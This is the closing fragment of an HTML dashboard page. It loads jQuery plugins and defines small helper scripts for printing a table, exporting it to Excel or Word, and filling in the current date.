right;">Managed By- <a href="https://www.kiyanchsolutions.com/" target="_blank">Kiyan Ch Solutions</a> </div> </div> </div> </section> </div> </div> </div> <!-- jquery vendor --> <script src="assets/js/lib/jquery.min.js"></script> <script src="assets/js/lib/jquery.nanoscroller.min.js"></script> <!-- nano scroller --> <script src="assets/js/lib/menubar/sidebar.js"></script> <script src="assets/js/lib/preloader/pace.min.js"></script> <!-- sidebar --> <!-- bootstrap --> <!-- Select2 --> <script src="assets/js/lib/select2/select2.full.min.js"></script> <script src="assets/js/lib/form-validation/jquery.validate.min.js"></script> <script src="assets/js/lib/form-validation/jquery.validate-init.js"></script> <script src="assets/js/lib/bootstrap.min.js"></script><script src="assets/js/scripts.js"></script> <!-- scripit init--> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/html2canvas/0.4.1/html2canvas.min.js"></script> <script> function createPDF() { var sTable = document.getElementById('tab').innerHTML; var style = "<style>"; style = style + "table {width: 100%;font: 17px Calibri;}"; style = style + "table, th, td {border: solid 1px #DDD; border-collapse: collapse;"; style = style + "padding: 2px 3px;text-align: center;}"; style = style + "</style>"; // CREATE A WINDOW OBJECT. var win = window.open('', '', 'height=700,width=700'); win.document.write('<html><head>'); win.document.write('<title>Profile</title>'); // <title> FOR PDF HEADER. win.document.write(style); // ADD STYLE INSIDE THE HEAD TAG. win.document.write('</head>'); win.document.write('<body>'); win.document.write(sTable); // THE TABLE CONTENTS INSIDE THE BODY TAG. win.document.write('</body></html>'); win.document.close(); // CLOSE THE CURRENT WINDOW. win.print(); // PRINT THE CONTENTS. } </script> <script> function ExportToExcel(type, fn, dl) { var elt = document.getElementById('tblData'); var wb = XLSX.utils.table_to_book(elt, { sheet: "sheet1" }); return dl ? XLSX.write(wb, { bookType: type, bookSST: true, type: 'base64' }) : XLSX.writeFile(wb, fn || ('MySheetName.' + (type || 'xlsx'))); } </script> <script type="text/javascript"> function Export2Doc(element, filename = ''){ var html = "<html xmlns:o='urn:schemas-microsoft-com:office:office' xmlns:w='urn:schemas-microsoft-com:office:word' xmlns='http://www.w3.org/TR/REC-html40'><head><meta><title>Export HTML To Doc</title></head><body>"; var footer = "</body></html>"; var html = html+document.getElementById(element).innerHTML+footer; //link url var url = 'data:application/vnd.ms-word;charset=utf-8,' + encodeURIComponent(html); //file name filename = filename?filename+'.doc':'document.doc'; // Creates the download link element dynamically var downloadLink = document.createElement("a"); document.body.appendChild(downloadLink); //Link to the file downloadLink.href = url; //Setting up file name downloadLink.download = filename; //triggering the function downloadLink.click(); //Remove the a tag after donwload starts. document.body.removeChild(downloadLink); } </script> <script> $(document).ready(function () { $("#tblData").table2excel({ filename: "Students.xls" }); }); </script> <script type="text/javascript"> var today = new Date(); var dd = String(today.getDate()).padStart(2, '0'); var mm = String(today.getMonth() + 1).padStart(2, '0'); //January is 0! var yyyy = today.getFullYear(); today = mm + '-' + dd + '-' + yyyy; document.getElementById('currentdate').value = today; </script> </body> </html>
Close